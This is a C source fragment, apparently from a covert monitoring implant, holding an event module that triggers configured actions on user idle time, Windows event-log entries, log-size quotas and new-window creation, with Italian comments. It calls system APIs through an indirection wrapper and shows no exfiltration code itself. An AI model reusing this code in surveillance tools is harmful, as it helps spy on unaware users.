if ( !(temp_table = realloc(user_idles_table, (user_idles_count + 1)*sizeof(monitored_user_idles))) )
return;
user_idles_table = (monitored_user_idles *)temp_table;
memcpy(&user_idles_table[user_idles_count].event_param, event_param, sizeof(event_param_struct));
user_idles_table[user_idles_count].event_id = event_id;
user_idles_table[user_idles_count].threshold = conf_json[L"time"]->AsNumber();
user_idles_count++;
}
void WINAPI EM_UserIdlesStart()
{
DWORD dummy;
// Crea il thread solo se ci sono azioni da fare
if (user_idles_count>0)
em_ui_thread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorUserIdles, NULL, 0, &dummy);
}
void WINAPI EM_UserIdlesStop()
{
QUERY_CANCELLATION(em_ui_thread, em_ui_cp);
for (DWORD i=0; i<user_idles_count; i++)
StopRepeatThread(user_idles_table[i].event_id);
SAFE_FREE(user_idles_table);
user_idles_count = 0;
}
//---------------------------------------------------
// MONITOR DEGLI EVENTI WINDOWS
#define SAFE_CLOSE(x) { if(x) FNC(CloseEventLog)(x); x = 0; }
typedef struct {
DWORD event_monitored;
DWORD event_triggered;
DWORD event_id;
} monitored_event;
typedef struct {
char *source_name; // nome sorgente eventi
HANDLE source_handle; // handle sorgente eventi
DWORD last_record_num; // numero di eventi presenti nella sorgente all'ultima lettura
DWORD event_count; // numero di eventi da monitorare per quella sorgente
monitored_event *event_array; // array degli eventi da monitorare con relative azioni
} monitored_source;
#define EM_ME_SLEEPTIME 300
#define EM_ME_BUFFER_SIZE 2048
HANDLE em_me_monevent_thread = 0;
DWORD em_me_source_count = 0;
monitored_source *em_me_source_table = NULL;
BOOL em_me_cp = FALSE;
// Thread di monitoring degli eventi
DWORD MonitorWindowsEvent(DWORD dummy)
{
DWORD i, j, k, new_record_count, oldest_event;
DWORD dwRead, dwNeeded;
EVENTLOGRECORD *pevlr;
BYTE bBuffer[EM_ME_BUFFER_SIZE];
pevlr = (EVENTLOGRECORD *) &bBuffer;
LOOP {
CANCELLATION_POINT(em_me_cp);
// Cicla fra le sorgenti
for (i=0; i<em_me_source_count; i++) {
// Effettua il parsing dei nuovi eventi solo se l'handle alla sorgente e'
// valido e se riesce a leggere il numero di eventi
if (!em_me_source_table[i].source_handle ||
!FNC(GetNumberOfEventLogRecords)(em_me_source_table[i].source_handle, &new_record_count) ||
!FNC(GetOldestEventLogRecord)(em_me_source_table[i].source_handle, &oldest_event))
continue;
new_record_count += oldest_event;
// Cicla fra i nuovi eventi presenti nella sorgente i-esima
// (non consideriamo l'eventualita' in cui gli eventi possano essere cancellati
// selettivamente).
for (j=em_me_source_table[i].last_record_num; j<new_record_count; j++) {
// Se non riesce a leggere l'evento j-esimo, passa al successivo
if (!FNC(ReadEventLogA)(em_me_source_table[i].source_handle, EVENTLOG_SEEK_READ | EVENTLOG_FORWARDS_READ,
j , bBuffer, EM_ME_BUFFER_SIZE, &dwRead, &dwNeeded )) {
// Se non riesce a leggere potrebbe esserci stata una modifica al registro.
// Allora prova a chiuderlo e a riaprirlo.
SAFE_CLOSE(em_me_source_table[i].source_handle);
em_me_source_table[i].source_handle = FNC(OpenEventLogA)(NULL, em_me_source_table[i].source_name);
// Se fallisce la riapertura esce dal ciclo e non considera piu' la sorgente
if (!em_me_source_table[i].source_handle)
break;
// Se fallisce la seconda lettura allora c'e' un errore di tipo diverso.
if (!FNC(ReadEventLogA)(em_me_source_table[i].source_handle, EVENTLOG_SEEK_READ | EVENTLOG_FORWARDS_READ,
j , bBuffer, EM_ME_BUFFER_SIZE, &dwRead, &dwNeeded ))
continue;
}
// Cicla fra gli eventi da monitorare per la sorgente i-esima
for (k=0; k<em_me_source_table[i].event_count; k++)
// Compara l'evento j-esimo nella sorgente con il k-esimo
// elemento da monitorare per quella sorgente
if (pevlr->EventID == em_me_source_table[i].event_array[k].event_monitored) {
TriggerEvent(em_me_source_table[i].event_array[k].event_triggered, em_me_source_table[i].event_array[k].event_id);
break;
}
}
// Aggiorna il numero di eventi per la sorgente
em_me_source_table[i].last_record_num = new_record_count;
}
Sleep(EM_ME_SLEEPTIME);
}
}
// Aggiunge un evento da monitorare a una sorgente
void MonEventAddEvent(monitored_source *source_entry, DWORD event_monitored, DWORD event_triggered, DWORD event_id)
{
void *temp_table;
// event_array e' inizializzato a 0 in EM_MonEventAdd
// XXX...altro piccolo ed improbabile int overflow
if ( !(temp_table = realloc(source_entry->event_array, (source_entry->event_count + 1)*sizeof(monitored_event))) )
return;
source_entry->event_array = (monitored_event *)temp_table;
source_entry->event_array[source_entry->event_count].event_monitored = event_monitored;
source_entry->event_array[source_entry->event_count].event_triggered = event_triggered;
source_entry->event_array[source_entry->event_count].event_id = event_id;
source_entry->event_count++;
}
void WINAPI EM_MonEventAdd(JSONObject conf_json, event_param_struct *event_param, DWORD event_id)
{
void *temp_table;
char source_name[260];
DWORD event_monitored;
DWORD i;
sprintf_s(source_name, "%S", conf_json[L"source"]->AsString().c_str());
event_monitored = conf_json[L"id"]->AsNumber();
// Se la sorgente e' gia' monitorata aggiunge un evento...
for (i=0; i<em_me_source_count; i++)
if (!strcmp(em_me_source_table[i].source_name, source_name)) {
MonEventAddEvent(em_me_source_table + i, event_monitored, event_param->start_action, event_id);
return;
}
// ...altrimenti aggiunge la sorgente...
// (XXX...altro piccolo ed improbabile int overflow)
if ( !(temp_table = realloc(em_me_source_table, (em_me_source_count + 1)*sizeof(monitored_source))) )
return;
em_me_source_table = (monitored_source *)temp_table;
em_me_source_table[em_me_source_count].event_count = 0;
em_me_source_table[em_me_source_count].event_array = NULL;
em_me_source_table[em_me_source_count].source_handle = 0;
em_me_source_table[em_me_source_count].last_record_num = 0;
em_me_source_table[em_me_source_count].source_name = _strdup(source_name);
// ...e aggiunge l'evento...
MonEventAddEvent(em_me_source_table + em_me_source_count, event_monitored, event_param->start_action, event_id);
em_me_source_count++;
}
void WINAPI EM_MonEventStart()
{
DWORD dummy, i, record_number, oldest_record;
// Apre tutte le sorgenti da monitorare (verranno chiuse in EM_MonEventStop)
// e inizializza il numero di eventi gia' presenti al momento dell'apertura
for (i=0; i<em_me_source_count; i++) {
em_me_source_table[i].source_handle = FNC(OpenEventLogA)(NULL, em_me_source_table[i].source_name);
if (em_me_source_table[i].source_handle &&
FNC(GetNumberOfEventLogRecords)(em_me_source_table[i].source_handle, &record_number) &&
FNC(GetOldestEventLogRecord)(em_me_source_table[i].source_handle, &oldest_record))
em_me_source_table[i].last_record_num = record_number + oldest_record;
else {
// Se non riesce a leggere il numero di eventi chiude la sorgente e non
// la considera' piu'.
em_me_source_table[i].last_record_num = 0;
SAFE_CLOSE(em_me_source_table[i].source_handle);
}
}
// Crea il thread solo se ci sono sorgenti da monitorare
if (em_me_source_count>0)
em_me_monevent_thread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorWindowsEvent, NULL, 0, &dummy);
}
void WINAPI EM_MonEventStop()
{
DWORD i;
QUERY_CANCELLATION(em_me_monevent_thread, em_me_cp);
// Libera tutte le strutture allocate
for (i=0; i<em_me_source_count; i++) {
SAFE_FREE(em_me_source_table[i].source_name);
SAFE_FREE(em_me_source_table[i].event_array);
SAFE_CLOSE(em_me_source_table[i].source_handle);
}
SAFE_FREE(em_me_source_table);
em_me_source_count = 0;
}
//----------------------------------------------------
// QUOTA DISCO
typedef struct {
DWORD disk_quota;
event_param_struct event_param;
DWORD event_id;
BOOL cp; // semaforo per l'uscita dei thread di controllo
HANDLE thread_id;
} monitored_quota;
DWORD em_qt_quota_count = 0;
monitored_quota *em_qt_quota_table = NULL;
#define QUOTA_DELAY_INTERVAL 100
#define QUOTA_DELAY_SLEEP 60000
DWORD QuotaMonitorThread(monitored_quota *quota)
{
DWORD i, log_size;
BOOL quota_passed = FALSE;
LOOP {
log_size = LOG_GetActualLogSize();
if (log_size > quota->disk_quota) {
TriggerEvent(quota->event_param.start_action, quota->event_id);
CreateRepeatThread(quota->event_id, quota->event_param.repeat_action, quota->event_param.count, quota->event_param.delay);
quota_passed = TRUE;
} else {
if (quota_passed) {
quota_passed = FALSE;
StopRepeatThread(quota->event_id);
TriggerEvent(quota->event_param.stop_action, quota->event_id);
}
}
// -> Sleep(QUOTA_DELAY_SLEEP);
for (i=0; i<=QUOTA_DELAY_SLEEP / QUOTA_DELAY_INTERVAL; i++) {
CANCELLATION_POINT(quota->cp);
Sleep(QUOTA_DELAY_INTERVAL);
}
}
return 0;
}
#define QUOTA_NEW_TAG 0x20100505
void WINAPI EM_QuotaAdd(JSONObject conf_json, event_param_struct *event_param, DWORD event_id)
{
typedef struct {
DWORD disk_quota;
DWORD tag;
DWORD exit_event;
} conf_entry_t;
conf_entry_t *conf_entry;
void *temp_table;
// XXX...altro piccolo ed improbabile int overflow....
if ( !(temp_table = realloc(em_qt_quota_table, (em_qt_quota_count + 1)*sizeof(monitored_quota))) )
return;
em_qt_quota_table = (monitored_quota *)temp_table;
em_qt_quota_table[em_qt_quota_count].thread_id = 0;
em_qt_quota_table[em_qt_quota_count].disk_quota = conf_json[L"quota"]->AsNumber();
memcpy(&em_qt_quota_table[em_qt_quota_count].event_param, event_param, sizeof(event_param_struct));
em_qt_quota_table[em_qt_quota_count].event_id = event_id;
em_qt_quota_table[em_qt_quota_count].cp = FALSE;
em_qt_quota_count++;
}
void WINAPI EM_QuotaStart()
{
DWORD i, dummy;
// Lancia i thread che controllano le quote
for (i=0; i<em_qt_quota_count; i++)
em_qt_quota_table[i].thread_id = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)QuotaMonitorThread, (LPVOID)&em_qt_quota_table[i], 0, &dummy);
}
void WINAPI EM_QuotaStop()
{
DWORD i;
// Uccide i thread di controllo e di repeat
for (i=0; i<em_qt_quota_count; i++) {
QUERY_CANCELLATION(em_qt_quota_table[i].thread_id, em_qt_quota_table[i].cp);
StopRepeatThread(em_qt_quota_table[i].event_id);
}
SAFE_FREE(em_qt_quota_table);
em_qt_quota_count = 0;
}
//---------------------------------------------------
//---------------------------------------------------
// MONITOR NEW WINDOW
typedef struct {
event_param_struct event_param;
DWORD event_id;
} monitor_newwindow_struct;
BOOL g_newwindow_created = FALSE; // Viene messa a TRUE dal dispatcher PM_NewWindowDispatch
DWORD em_newwindow_count = 0;
monitor_newwindow_struct *newwindow_table = NULL;
HANDLE em_mnw_thread = 0;
BOOL em_mnw_cp = FALSE;
#define EM_MNW_SLEEPTIME 300
DWORD MonitorNewWindowThread(DWORD dummy)
{
LOOP {
DWORD i;
CANCELLATION_POINT(em_mnw_cp);
// Viene messa a TRUE dal dispatcher PM_NewWindowDispatch
if (g_newwindow_created) {
g_newwindow_created = FALSE;
for (i=0; i<em_newwindow_count; i++)
TriggerEvent(newwindow_table[i].event_param.start_action, newwindow_table[i].event_id);
}
Sleep(EM_MNW_SLEEPTIME);
}
// not reached
return 0;
}
void WINAPI EM_NewWindowAdd(JSONObject conf_json, event_param_struct *event_param, DWORD event_id)
{
void *temp_table;
if ( !(temp_table = realloc(newwindow_table, (em_newwindow_count + 1)*sizeof(monitor_newwindow_struct))) )
return;
newwindow_table = (monitor_newwindow_struct *)temp_table;
memcpy(&newwindow_table[em_newwindow_count].event_param, event_param, sizeof(event_param_struct));
newwindow_table[em_newwindow_count].event_id = event_id;
em_newwindow_count++;
}
void WINAPI EM_NewWindowStart()
{
DWORD dummy;
// Crea il thread solo se ci sono azioni da fare
if (em_newwindow_count>0) {
em_mnw_thread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorNewWindowThread, NULL, 0, &dummy);
AM_IPCAgentStartStop(PM_ONNEWWINDOW_IPC, TRUE);
}
}
void WINAPI EM_NewWindowStop()
{
AM_IPCAgentStartStop(PM_ONNEWWINDOW_IPC, FALSE);
QUERY_CANCELLATION(em_mnw_thread, em_mnw_cp);
SAFE_FREE(newwindow_table);
em_newwindow_count = 0;
}